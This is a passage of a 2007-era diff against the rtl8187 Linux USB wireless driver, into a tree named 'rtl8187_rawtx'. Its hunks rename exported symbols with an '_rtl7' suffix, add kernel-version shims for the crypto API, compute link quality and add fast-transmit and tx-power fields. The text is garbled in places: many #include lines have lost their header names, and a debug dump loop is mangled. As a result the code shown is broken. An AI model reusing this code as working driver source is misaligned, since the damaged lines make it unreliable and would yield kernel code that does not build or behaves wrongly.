r8180_priv *priv = ieee80211_priv_rtl7(dev); short promisc; //down(&priv->wx_sem); - + /* FIXME FIXME */ - + promisc = (dev->flags & IFF_PROMISC) ? 1:0; - + if (promisc != priv->promisc) // rtl8180_commit(dev); - + priv->promisc = promisc; - + //schedule_work(&priv->reset_wq); //up(&priv->wx_sem); } @@ -2273,17 +2407,17 @@ int r8180_set_mac_adr(struct net_device *dev, void *mac) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); struct sockaddr *addr = mac; - + down(&priv->wx_sem); - + memcpy(dev->dev_addr, addr->sa_data, ETH_ALEN); - + schedule_work(&priv->reset_wq); - + up(&priv->wx_sem); - + return 0; } @@ -2291,16 +2425,18 @@ /* based on ipw2200 driver */ int rtl8180_ioctl(struct net_device *dev, struct ifreq *rq, int cmd) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + struct iwreq *wrq; + int ret; + down(&priv->wx_sem); - - struct iwreq *wrq = (struct iwreq *)rq; - - int ret=-1; + + wrq = (struct iwreq *)rq; + + ret=-1; switch (cmd) { case RTL_IOCTL_WPA_SUPPLICANT: - ret = ieee80211_wpa_supplicant_ioctl(priv->ieee80211, &wrq->u.data); + ret = ieee80211_wpa_supplicant_ioctl_rtl7(priv->ieee80211, &wrq->u.data); break; default: @@ -2309,7 +2445,7 @@ } up(&priv->wx_sem); - + return ret; } @@ -2320,10 +2456,11 @@ struct net_device *dev = (struct net_device*)rx_urb->context; int status,len,flen; struct sk_buff *skb; - u32 *desc; - + u8 *desc; + u8 signal,quality,rate; + //DMESG("rtl8187_rx_isr"); - + struct ieee80211_rx_stats stats = { .signal = 0, .noise = -98, @@ -2332,43 +2469,109 @@ .freq = IEEE80211_24GHZ_BAND, }; + //DMESG("RX %d ",rx_urb->status); status = rx_urb->status; if(status == 0){ - + len = rx_urb->actual_length; - // len = len - 4 - 15 - 1; /* CRC, DESC, SEPARATOR*/ + // len = len - 4 - 15 - 1; /* CRC, DESC, SEPARATOR*/ len -= 4*4;/* 4 dword and 4 byte CRC */ - +#if 0 desc = (u32*)(rx_urb->transfer_buffer + len); - + flen = desc[0] & 0xfff; - + if( flen <= rx_urb->actual_length){ - - stats.signal = (desc[1] & 0x7f00)>>8; - stats.noise = desc[1] &0xff; - stats.rate = desc[0] >> 20 & 0xf; + + //stats.signal = (desc[1] & 0x7f00)>>8; + //stats.noise = desc[1] &0xff; + signal=(desc[1]& (0xff0000))>>16; + signal=(signal&0xfe)>>1; // Modify by hikaru 6.6 + + quality=(desc[1] & (0xff)); + + rate=(desc[0] &((1<<23)|(1<<22)|(1<<21)|(1<<20)))>>20; + // printk(KERN_INFO "rate is %d!\n",rate); + stats.rate = rtl8180_rate2rate(rate); + // printk(KERN_INFO "stats.rate is %d!\n",stats.rate); + //stats.rate = desc[0] >> 20 & 0xf; stats.mac_time[0] = desc[2]; stats.mac_time[1] = desc[3]; +#endif + + desc = rx_urb->transfer_buffer + len; + + flen = ((desc[1] & 0x0f) << 8) + (desc[0] & 0xff); + + if( flen <= rx_urb->actual_length){ + //stats.signal = (desc[1] & 0x7f00)>>8; + //stats.noise = desc[1] &0xff; + signal=(desc[6]& 0xfe)>>1; + //signal=(signal&0xfe)>>1; // Modify by hikaru 6.6 + + quality=desc[4] & 0xff; + + //rate=(desc[2] &((1<<7)|(1<<6)|(1<<5)|(1<<4)))>>4; + rate=(desc[2] & 0xf0)>>4; + // printk(KERN_INFO "rate is %d!\n",rate); + stats.rate = rtl8180_rate2rate(rate); + // printk(KERN_INFO "stats.rate is %d!\n",stats.rate); + //stats.rate = desc[0] >> 20 & 0xf; + stats.mac_time[0] = desc[8] + (desc[9]<<8) + (desc[10]<<16) + (desc[11]<<24); + stats.mac_time[1] = desc[12] + (desc[13]<<8) + (desc[14]<<16) + (desc[15]<<24); + + + //calculate link quality begin + if(!rtl8180_IsWirelessBMode(stats.rate) ) + { // OFDM rate. + if(signal>90) + signal=90; + else if(signal<25) + signal=25; + signal = (90-signal)*100/65; + } + else + { // CCK rate. + if(signal>95) + signal = 95; + else if(signal<30) + signal = 30; + signal =(95-signal )*100/65; + } + priv->wstats.qual.level = signal; + // printk(KERN_INFO "signal is %d!\n",signal); + if(quality > 64) + priv ->wstats.qual.qual = 0; + else + priv ->wstats.qual.qual = ((64-quality) * 100) / 64; // SQ value is the SIGNAL_QUALITY returned to IORequest, + //and this value only appear when STA is associated to AP or + // STA is in IBSS mode + // printk(KERN_INFO "quality is %d!\n",priv->wstats.qual.qual); + priv->wstats.qual.noise = 100 - priv ->wstats.qual.qual; + priv->wstats.qual.updated = 7; + if(priv->ieee80211->iw_mode == IW_MODE_MONITOR) + { + stats.signal = priv->wstats.qual.level; + stats.noise = priv->wstats.qual.noise; + } + //calculate link quality end skb = dev_alloc_skb(flen-4); - //skb_reserve(skb,2); - if(skb){ + if(skb){ memcpy(skb_put(skb,flen-4), rx_urb->transfer_buffer,flen -4); - + #ifdef DUMP_RX int i; for(i=0;itransfer_buffer))[i]); printk("------RATE %x:w---------------\n",stats.rate); - + #endif priv->stats.rxok++; // priv->rxskb = skb; // priv->tempstats = &stats; - - if(!ieee80211_rx(priv->ieee80211, + if(!ieee80211_rx_rtl7(priv->ieee80211, skb, &stats)) dev_kfree_skb_any(skb); } @@ -2376,9 +2579,8 @@ }else{ priv->stats.rxstaterr++; priv->ieee80211->stats.rx_errors++; - } - + if(status != -ENOENT)rtl8187_rx_urbsubmit(dev,rx_urb); else DMESG("RX process aborted due to explicit shutdown"); } @@ -2396,20 +2598,20 @@ struct r8180_priv *priv= NULL; struct usb_device *udev = interface_to_usbdev(intf); -//printk("===> rtl8187_usb_probe()\n"); - - dev = alloc_ieee80211(sizeof(struct r8180_priv)); - +//printk("===> rtl8187_usb_probe()\n"); + + dev = alloc_ieee80211_rtl7(sizeof(struct r8180_priv)); + SET_MODULE_OWNER(dev); - usb_set_intfdata(intf, dev); - + usb_set_intfdata(intf, dev); + SET_NETDEV_DEV(dev, &intf->dev); - priv = ieee80211_priv(dev); + priv = ieee80211_priv_rtl7(dev); priv->ieee80211 = netdev_priv(dev); - + priv->udev=udev; - + dev->open = rtl8180_open; dev->stop = rtl8180_close; //dev->hard_start_xmit = rtl8180_8023_hard_start_xmit; @@ -2418,41 +2620,46 @@ dev->do_ioctl = rtl8180_ioctl; dev->set_multicast_list = r8180_set_multicast; dev->set_mac_address = r8180_set_mac_adr; +#if WIRELESS_EXT >= 12 +#if WIRELESS_EXT < 17 dev->get_wireless_stats = r8180_get_wireless_stats; +#endif + dev->wireless_handlers = (struct iw_handler_def *) &r8180_wx_handlers_def; +#endif dev->type=ARPHRD_ETHER; - + if (dev_alloc_name(dev, ifname) < 0){ DMESG("Oops: devname already taken! Trying wlan%%d...\n"); ifname = "wlan%d"; dev_alloc_name(dev, ifname); } - + // dev->open=rtl8180_init; - - if(rtl8180_init(dev)!=0){ + + if(rtl8180_init(dev)!=0){ DMESG("Initialization failed"); goto fail; } - + netif_carrier_off(dev); netif_stop_queue(dev); - + register_netdev(dev); - + rtl8180_proc_init_one(dev); - - + + DMESG("Driver probe completed\n"); - return 0; + return 0; + - fail: - free_ieee80211(dev); - + free_ieee80211_rtl7(dev); + DMESG("wlan driver load failed\n"); - + return -ENODEV; - + } @@ -2461,13 +2668,13 @@ struct r8180_priv *priv; struct net_device *dev = usb_get_intfdata(intf); if(dev){ - + unregister_netdev(dev); - - priv=ieee80211_priv(dev); - + + priv=ieee80211_priv_rtl7(dev); + rtl8180_proc_remove_one(dev); - + rtl8180_down(dev); priv->rf_close(dev); //rtl8180_rtx_disable(dev); @@ -2478,12 +2685,12 @@ } // pci_disable_device(pdev); - free_ieee80211(dev); + free_ieee80211_rtl7(dev); DMESG("wlan driver removed\n"); } -static int __init rtl8187_usb_module_init(void) +static int __init rtl8187_usb_module_init_rtl7(void) { printk(KERN_INFO "\nLinux kernel driver for RTL8187 \ based WLAN cards\n"); @@ -2495,7 +2702,7 @@ } -static void __exit rtl8187_usb_module_exit(void) +static void __exit rtl8187_usb_module_exit_rtl7(void) { usb_deregister(&rtl8187_usb_driver); @@ -2508,14 +2715,14 @@ { unsigned long flags; short enough_desc; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + spin_lock_irqsave(&priv->tx_lock,flags); enough_desc = check_nic_enought_desc(dev,pri); - spin_unlock_irqrestore(&priv->tx_lock,flags); - + spin_unlock_irqrestore(&priv->tx_lock,flags); + if(enough_desc) - ieee80211_wake_queue(priv->ieee80211); + ieee80211_wake_queue_rtl7(priv->ieee80211); } @@ -2523,5 +2730,5 @@ /*************************************************************************** ------------------- module init / exit stubs ---------------- ****************************************************************************/ -module_init(rtl8187_usb_module_init); -module_exit(rtl8187_usb_module_exit); +module_init(rtl8187_usb_module_init_rtl7); +module_exit(rtl8187_usb_module_exit_rtl7); diff -Naur rtl8187_orig/beta-8187/r8187.h rtl8187_rawtx/beta-8187/r8187.h --- rtl8187_orig/beta-8187/r8187.h 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/beta-8187/r8187.h 2007-07-13 01:46:27.000000000 +0200 @@ -1,17 +1,17 @@ -/* +/* This is part of rtl8187 OpenSource driver. - Copyright (C) Andrea Merello 2004-2005 + Copyright (C) Andrea Merello 2004-2005 Released under the terms of GPL (General Public Licence) - - Parts of this driver are based on the GPL part of the + + Parts of this driver are based on the GPL part of the official realtek driver - - Parts of this driver are based on the rtl8180 driver skeleton + + Parts of this driver are based on the rtl8180 driver skeleton from Patric Schenke & Andres Salomon - + Parts of this driver are based on the Intel Pro Wireless 2100 GPL driver - - We want to tanks the Authors of those projects and the Ndiswrapper + + We want to tanks the Authors of those projects and the Ndiswrapper project Authors. */ @@ -26,7 +26,6 @@ #include #include -#include #include #include #include @@ -47,6 +46,12 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" #define EPROM_93c46 0 @@ -68,7 +73,7 @@ { struct buffer *next; u32 *buf; - + } buffer; #if 0 @@ -123,18 +128,18 @@ short epromtype; int irq; struct ieee80211_device *ieee80211; - + short card_8185; /* O: rtl8180, 1:rtl8185 V B/C, 2:rtl8185 V D */ short card_8185_Bversion; /* if TCR reports card V B/C this discriminates */ short phy_ver; /* meaningful for rtl8225 1:A 2:B 3:C */ short enable_gpio0; enum card_type {PCI,MINIPCI,CARDBUS,USB/*rtl8187*/}card_type; short hw_plcp_len; - + // spinlock_t irq_lock; // spinlock_t irq_th_lock; spinlock_t tx_lock; - + u16 irq_mask; // short irq_enabled; struct net_device *dev; @@ -143,13 +148,17 @@ short max_sens; u8 chtxpwr[15]; //channels from 1 to 14, 0 not used u8 chtxpwr_ofdm[15]; //channels from 1 to 14, 0 not used + u8 chtxpwr_orig[15]; //channels from 1 to 14, 0 not used + u8 chtxpwr_ofdm_orig[15]; //channels from 1 to 14, 0 not used u8 cck_txpwr_base; u8 ofdm_txpwr_base; + u8 txpwr_max; u8 challow[15]; //channels from 1 to 14, 0 not used short up; short crcmon; //if 1 allow bad crc frame reception in monitor mode -// short prism_hdr; - + short prism_hdr; + short fasttx; + // struct timer_list scan_timer; /*short scanpending; short stopscan;*/ @@ -158,7 +167,7 @@ //u8 active_scan_num; struct semaphore wx_sem; // short hw_wep; - + // short digphy; // short antb; // short diversity; @@ -171,31 +180,31 @@ void (*rf_close)(struct net_device *dev); void (*rf_init)(struct net_device *dev); //short rate; - short promisc; + short promisc; /*stats*/ struct Stats stats; struct iw_statistics wstats; struct proc_dir_entry *dir_dev; - + /*RX stuff*/ // u32 *rxring; // u32 *rxringtail; // dma_addr_t rxringdma; struct urb **rx_urb; - + //struct buffer *rxbuffer; //struct buffer *rxbufferhead; //int rxringcount; //u16 rxbuffersize; - - //struct sk_buff *rx_skb; + + //struct sk_buff *rx_skb; //short rx_skb_complete; //u32 rx_prevlen; atomic_t tx_lp_pending; atomic_t tx_np_pending; -#if 0 +#if 0 /*TX stuff*/ u32 *txlpring; u32 *txhpring; @@ -225,7 +234,7 @@ struct urb *rxurb_task; // u8 dma_poll_mask; //short tx_suspend; - + /* adhoc/master mode stuff */ #if 0 u32 *txbeacontail; @@ -239,22 +248,23 @@ //u16 master_beaconinterval; // u32 master_beaconsize; //u16 beacon_interval; - + u8 retry_data; u8 retry_rts; - + struct work_struct reset_wq; - + }r8180_priv; -typedef enum{ +typedef enum{ LOW_PRIORITY , - NORM_PRIORITY + NORM_PRIORITY } priority_t; short rtl8180_tx(struct net_device *dev,u32* skbuf, int len,priority_t priority,short morefrag,short rate); +short rtl8180_tx_fast(struct net_device *dev,u32* skbuf, int len, short rate); u8 read_nic_byte(struct net_device *dev, int x); u8 read_nic_byte_E(struct net_device *dev, int x); diff -Naur rtl8187_orig/ieee80211/ieee80211_crypt.c rtl8187_rawtx/ieee80211/ieee80211_crypt.c --- rtl8187_orig/ieee80211/ieee80211_crypt.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/ieee80211_crypt.c 2007-07-13 01:46:05.000000000 +0200 @@ -11,7 +11,6 @@ * */ -#include #include #include #include @@ -19,6 +18,12 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" MODULE_AUTHOR("Jouni Malinen"); @@ -38,7 +43,7 @@ static struct ieee80211_crypto *hcrypt; -void ieee80211_crypt_deinit_entries(struct ieee80211_device *ieee, +void ieee80211_crypt_deinit_entries_rtl7(struct ieee80211_device *ieee, int force) { struct list_head *ptr, *n; @@ -61,13 +66,13 @@ } } -void ieee80211_crypt_deinit_handler(unsigned long data) +void ieee80211_crypt_deinit_handler_rtl7(unsigned long data) { struct ieee80211_device *ieee = (struct ieee80211_device *)data; unsigned long flags; spin_lock_irqsave(&ieee->lock, flags); - ieee80211_crypt_deinit_entries(ieee, 0); + ieee80211_crypt_deinit_entries_rtl7(ieee, 0); if (!list_empty(&ieee->crypt_deinit_list)) { printk(KERN_DEBUG "%s: entries remaining in delayed crypt " "deletion list\n", ieee->dev->name); @@ -78,7 +83,7 @@ } -void ieee80211_crypt_delayed_deinit(struct ieee80211_device *ieee, +void ieee80211_crypt_delayed_deinit_rtl7(struct ieee80211_device *ieee, struct ieee80211_crypt_data **crypt) { struct ieee80211_crypt_data *tmp; @@ -103,7 +108,7 @@ spin_unlock_irqrestore(&ieee->lock, flags); } -int ieee80211_register_crypto_ops(struct ieee80211_crypto_ops *ops) +int ieee80211_register_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops) { unsigned long flags; struct ieee80211_crypto_alg *alg; @@ -128,7 +133,7 @@ return 0; } -int ieee80211_unregister_crypto_ops(struct ieee80211_crypto_ops *ops) +int ieee80211_unregister_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops) { unsigned long flags; struct list_head *ptr; @@ -159,7 +164,7 @@ } -struct ieee80211_crypto_ops * ieee80211_get_crypto_ops(const char *name) +struct ieee80211_crypto_ops * ieee80211_get_crypto_ops_rtl7(const char *name) { unsigned long flags; struct list_head *ptr; @@ -186,13 +191,13 @@ } -static void * ieee80211_crypt_null_init(int keyidx) { return (void *) 1; } -static void ieee80211_crypt_null_deinit(void *priv) {} +static void * ieee80211_crypt_null_init_rtl7(int keyidx) { return (void *) 1; } +static void ieee80211_crypt_null_deinit_rtl7(void *priv) {} static struct ieee80211_crypto_ops ieee80211_crypt_null = { .name = "NULL", - .init = ieee80211_crypt_null_init, - .deinit = ieee80211_crypt_null_deinit, + .init = ieee80211_crypt_null_init_rtl7, + .deinit = ieee80211_crypt_null_deinit_rtl7, .encrypt_mpdu = NULL, .decrypt_mpdu = NULL, .encrypt_msdu = NULL, @@ -205,7 +210,7 @@ }; -static int __init ieee80211_crypto_init(void) +static int __init ieee80211_crypto_init_rtl7(void) { int ret = -ENOMEM; @@ -217,7 +222,7 @@ INIT_LIST_HEAD(&hcrypt->algs); spin_lock_init(&hcrypt->lock); - ret = ieee80211_register_crypto_ops(&ieee80211_crypt_null); + ret = ieee80211_register_crypto_ops_rtl7(&ieee80211_crypt_null); if (ret < 0) { kfree(hcrypt); hcrypt = NULL; @@ -227,7 +232,7 @@ } -static void __exit ieee80211_crypto_deinit(void) +static void __exit ieee80211_crypto_deinit_rtl7(void) { struct list_head *ptr, *n; @@ -247,13 +252,13 @@ kfree(hcrypt); } -EXPORT_SYMBOL(ieee80211_crypt_deinit_entries); -EXPORT_SYMBOL(ieee80211_crypt_deinit_handler); -EXPORT_SYMBOL(ieee80211_crypt_delayed_deinit); - -EXPORT_SYMBOL(ieee80211_register_crypto_ops); -EXPORT_SYMBOL(ieee80211_unregister_crypto_ops); -EXPORT_SYMBOL(ieee80211_get_crypto_ops); +EXPORT_SYMBOL(ieee80211_crypt_deinit_entries_rtl7); +EXPORT_SYMBOL(ieee80211_crypt_deinit_handler_rtl7); +EXPORT_SYMBOL(ieee80211_crypt_delayed_deinit_rtl7); + +EXPORT_SYMBOL(ieee80211_register_crypto_ops_rtl7); +EXPORT_SYMBOL(ieee80211_unregister_crypto_ops_rtl7); +EXPORT_SYMBOL(ieee80211_get_crypto_ops_rtl7); -module_init(ieee80211_crypto_init); -module_exit(ieee80211_crypto_deinit); +module_init(ieee80211_crypto_init_rtl7); +module_exit(ieee80211_crypto_deinit_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_crypt_ccmp.c rtl8187_rawtx/ieee80211/ieee80211_crypt_ccmp.c --- rtl8187_orig/ieee80211/ieee80211_crypt_ccmp.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/ieee80211_crypt_ccmp.c 2007-07-13 01:46:05.000000000 +0200 @@ -9,7 +9,6 @@ * more details. */ -#include #include #include #include @@ -22,11 +21,22 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" #include -#include + +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) + #include +#else + #include +#endif MODULE_AUTHOR("Jouni Malinen"); MODULE_DESCRIPTION("Host AP crypt: CCMP"); @@ -51,7 +61,11 @@ int key_idx; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) struct crypto_tfm *tfm; +#else + struct crypto_cipher *tfm; +#endif /* scratch buffers for virt_to_page() (crypto API) */ u8 tx_b0[AES_BLOCK_LEN], tx_b[AES_BLOCK_LEN], @@ -59,7 +73,8 @@ u8 rx_b0[AES_BLOCK_LEN], rx_b[AES_BLOCK_LEN], rx_a[AES_BLOCK_LEN]; }; -void ieee80211_ccmp_aes_encrypt(struct crypto_tfm *tfm, +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +void ieee80211_ccmp_aes_encrypt_rtl7(struct crypto_tfm *tfm, const u8 pt[16], u8 ct[16]) { struct scatterlist src, dst; @@ -74,8 +89,15 @@ crypto_cipher_encrypt(tfm, &dst, &src, AES_BLOCK_LEN); } +#else +static inline void ieee80211_ccmp_aes_encrypt_rtl7(struct crypto_cipher *tfm, + const u8 pt[16], u8 ct[16]) +{ + crypto_cipher_encrypt_one(tfm, ct, pt); +} +#endif -static void * ieee80211_ccmp_init(int key_idx) +static void * ieee80211_ccmp_init_rtl7(int key_idx) { struct ieee80211_ccmp_data *priv; @@ -85,19 +107,33 @@ memset(priv, 0, sizeof(*priv)); priv->key_idx = key_idx; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) priv->tfm = crypto_alloc_tfm("aes", 0); if (priv->tfm == NULL) { printk(KERN_DEBUG "ieee80211_crypt_ccmp: could not allocate " "crypto API aes\n"); goto fail; } +#else + priv->tfm = crypto_alloc_cipher("aes", 0, CRYPTO_ALG_ASYNC); + if (IS_ERR(priv->tfm)) { + printk(KERN_DEBUG "ieee80211_crypt_ccmp: could not allocate " + "crypto API aes\n"); + priv->tfm = NULL; + goto fail; + } +#endif return priv; fail: if (priv) { if (priv->tfm) +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_free_tfm(priv->tfm); +#else + crypto_free_cipher(priv->tfm); +#endif kfree(priv); } @@ -105,16 +141,20 @@ } -static void ieee80211_ccmp_deinit(void *priv) +static void ieee80211_ccmp_deinit_rtl7(void *priv) { struct ieee80211_ccmp_data *_priv = priv; if (_priv && _priv->tfm) +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_free_tfm(_priv->tfm); +#else + crypto_free_cipher(_priv->tfm); +#endif kfree(priv); } -static inline void xor_block(u8 *b, u8 *a, size_t len) +static inline void xor_block_rtl7(u8 *b, u8 *a, size_t len) { int i; for (i = 0; i < len; i++) @@ -122,7 +162,11 @@ } -static void ccmp_init_blocks(struct crypto_tfm *tfm, +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +static void ccmp_init_blocks_rtl7(struct crypto_tfm *tfm, +#else +static void ccmp_init_blocks_rtl7(struct crypto_cipher *tfm, +#endif struct ieee80211_hdr *hdr, u8 *pn, size_t dlen, u8 *b0, u8 *auth, u8 *s0) @@ -186,18 +230,18 @@ } /* Start with the first block and AAD */ - ieee80211_ccmp_aes_encrypt(tfm, b0, auth); - xor_block(auth, aad, AES_BLOCK_LEN); - ieee80211_ccmp_aes_encrypt(tfm, auth, auth); - xor_block(auth, &aad[AES_BLOCK_LEN], AES_BLOCK_LEN); - ieee80211_ccmp_aes_encrypt(tfm, auth, auth); + ieee80211_ccmp_aes_encrypt_rtl7(tfm, b0, auth); + xor_block_rtl7(auth, aad, AES_BLOCK_LEN); + ieee80211_ccmp_aes_encrypt_rtl7(tfm, auth, auth); + xor_block_rtl7(auth, &aad[AES_BLOCK_LEN], AES_BLOCK_LEN); + ieee80211_ccmp_aes_encrypt_rtl7(tfm, auth, auth); b0[0] &= 0x07; b0[14] = b0[15] = 0; - ieee80211_ccmp_aes_encrypt(tfm, b0, s0); + ieee80211_ccmp_aes_encrypt_rtl7(tfm, b0, s0); } -static int ieee80211_ccmp_encrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_ccmp_encrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_ccmp_data *key = priv; int data_len, i, blocks, last, len; @@ -237,7 +281,7 @@ *pos++ = key->tx_pn[0]; hdr = (struct ieee80211_hdr *) skb->data; - ccmp_init_blocks(key->tfm, hdr, key->tx_pn, data_len, b0, b, s0); + ccmp_init_blocks_rtl7(key->tfm, hdr, key->tx_pn, data_len, b0, b, s0); blocks = (data_len + AES_BLOCK_LEN - 1) / AES_BLOCK_LEN; last = data_len % AES_BLOCK_LEN; @@ -245,13 +289,13 @@ for (i = 1; i <= blocks; i++) { len = (i == blocks && last) ? last : AES_BLOCK_LEN; /* Authentication */ - xor_block(b, pos, len); - ieee80211_ccmp_aes_encrypt(key->tfm, b, b); + xor_block_rtl7(b, pos, len); + ieee80211_ccmp_aes_encrypt_rtl7(key->tfm, b, b); /* Encryption, with counter */ b0[14] = (i >> 8) & 0xff; b0[15] = i & 0xff; - ieee80211_ccmp_aes_encrypt(key->tfm, b0, e); - xor_block(pos, e, len); + ieee80211_ccmp_aes_encrypt_rtl7(key->tfm, b0, e); + xor_block_rtl7(pos, e, len); pos += len; } @@ -262,7 +306,7 @@ } -static int ieee80211_ccmp_decrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_ccmp_decrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_ccmp_data *key = priv; u8 keyidx, *pos; @@ -326,8 +370,8 @@ return -4; } - ccmp_init_blocks(key->tfm, hdr, pn, data_len, b0, a, b); - xor_block(mic, b, CCMP_MIC_LEN); + ccmp_init_blocks_rtl7(key->tfm, hdr, pn, data_len, b0, a, b); + xor_block_rtl7(mic, b, CCMP_MIC_LEN); blocks = (data_len + AES_BLOCK_LEN - 1) / AES_BLOCK_LEN; last = data_len % AES_BLOCK_LEN; @@ -337,11 +381,11 @@ /* Decrypt, with counter */ b0[14] = (i >> 8) & 0xff; b0[15] = i & 0xff; - ieee80211_ccmp_aes_encrypt(key->tfm, b0, b); - xor_block(pos, b, len); + ieee80211_ccmp_aes_encrypt_rtl7(key->tfm, b0, b); + xor_block_rtl7(pos, b, len); /* Authentication */ - xor_block(a, pos, len); - ieee80211_ccmp_aes_encrypt(key->tfm, a, a); + xor_block_rtl7(a, pos, len); + ieee80211_ccmp_aes_encrypt_rtl7(key->tfm, a, a); pos += len; } @@ -365,11 +409,15 @@ } -static int ieee80211_ccmp_set_key(void *key, int len, u8 *seq, void *priv) +static int ieee80211_ccmp_set_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct ieee80211_ccmp_data *data = priv; int keyidx; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) struct crypto_tfm *tfm = data->tfm; +#else + struct crypto_cipher *tfm = data->tfm; +#endif keyidx = data->key_idx; memset(data, 0, sizeof(*data)); @@ -396,7 +444,7 @@ } -static int ieee80211_ccmp_get_key(void *key, int len, u8 *seq, void *priv) +static int ieee80211_ccmp_get_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct ieee80211_ccmp_data *data = priv; @@ -420,7 +468,7 @@ } -static char * ieee80211_ccmp_print_stats(char *p, void *priv) +static char * ieee80211_ccmp_print_stats_rtl7(char *p, void *priv) { struct ieee80211_ccmp_data *ccmp = priv; p += sprintf(p, "key[%d] alg=CCMP key_set=%d " @@ -437,34 +485,34 @@ } -static struct ieee80211_crypto_ops ieee80211_crypt_ccmp = { +static struct ieee80211_crypto_ops ieee80211_crypt_ccmp_rtl7 = { .name = "CCMP", - .init = ieee80211_ccmp_init, - .deinit = ieee80211_ccmp_deinit, - .encrypt_mpdu = ieee80211_ccmp_encrypt, - .decrypt_mpdu = ieee80211_ccmp_decrypt, + .init = ieee80211_ccmp_init_rtl7, + .deinit = ieee80211_ccmp_deinit_rtl7, + .encrypt_mpdu = ieee80211_ccmp_encrypt_rtl7, + .decrypt_mpdu = ieee80211_ccmp_decrypt_rtl7, .encrypt_msdu = NULL, .decrypt_msdu = NULL, - .set_key = ieee80211_ccmp_set_key, - .get_key = ieee80211_ccmp_get_key, - .print_stats = ieee80211_ccmp_print_stats, + .set_key = ieee80211_ccmp_set_key_rtl7, + .get_key = ieee80211_ccmp_get_key_rtl7, + .print_stats = ieee80211_ccmp_print_stats_rtl7, .extra_prefix_len = CCMP_HDR_LEN, .extra_postfix_len = CCMP_MIC_LEN, .owner = THIS_MODULE, }; -static int __init ieee80211_crypto_ccmp_init(void) +static int __init ieee80211_crypto_ccmp_init_rtl7(void) { - return ieee80211_register_crypto_ops(&ieee80211_crypt_ccmp); + return ieee80211_register_crypto_ops_rtl7(&ieee80211_crypt_ccmp_rtl7); } -static void __exit ieee80211_crypto_ccmp_exit(void) +static void __exit ieee80211_crypto_ccmp_exit_rtl7(void) { - ieee80211_unregister_crypto_ops(&ieee80211_crypt_ccmp); + ieee80211_unregister_crypto_ops_rtl7(&ieee80211_crypt_ccmp_rtl7); } -module_init(ieee80211_crypto_ccmp_init); -module_exit(ieee80211_crypto_ccmp_exit); +module_init(ieee80211_crypto_ccmp_init_rtl7); +module_exit(ieee80211_crypto_ccmp_exit_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_crypt.h rtl8187_rawtx/ieee80211/ieee80211_crypt.h --- rtl8187_orig/ieee80211/ieee80211_crypt.h 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/ieee80211_crypt.h 2007-07-13 01:46:10.000000000 +0200 @@ -75,12 +75,12 @@ atomic_t refcnt; }; -int ieee80211_register_crypto_ops(struct ieee80211_crypto_ops *ops); -int ieee80211_unregister_crypto_ops(struct ieee80211_crypto_ops *ops); -struct ieee80211_crypto_ops * ieee80211_get_crypto_ops(const char *name); -void ieee80211_crypt_deinit_entries(struct ieee80211_device *, int); -void ieee80211_crypt_deinit_handler(unsigned long); -void ieee80211_crypt_delayed_deinit(struct ieee80211_device *ieee, +int ieee80211_register_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops); +int ieee80211_unregister_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops); +struct ieee80211_crypto_ops * ieee80211_get_crypto_ops_rtl7(const char *name); +void ieee80211_crypt_deinit_entries_rtl7(struct ieee80211_device *, int); +void ieee80211_crypt_deinit_handler_rtl7(unsigned long); +void ieee80211_crypt_delayed_deinit_rtl7(struct ieee80211_device *ieee, struct ieee80211_crypt_data **crypt); #endif diff -Naur rtl8187_orig/ieee80211/ieee80211_crypt_tkip.c rtl8187_rawtx/ieee80211/ieee80211_crypt_tkip.c --- rtl8187_orig/ieee80211/ieee80211_crypt_tkip.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/ieee80211_crypt_tkip.c 2007-07-13 01:46:05.000000000 +0200 @@ -9,7 +9,6 @@ * more details. */ -#include #include #include #include @@ -21,13 +20,24 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) + #include +#else + #include +#endif #include -#include #include + MODULE_AUTHOR("Jouni Malinen"); MODULE_DESCRIPTION("Host AP crypt: TKIP"); MODULE_LICENSE("GPL"); @@ -55,14 +65,21 @@ int key_idx; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) struct crypto_tfm *tfm_arc4; struct 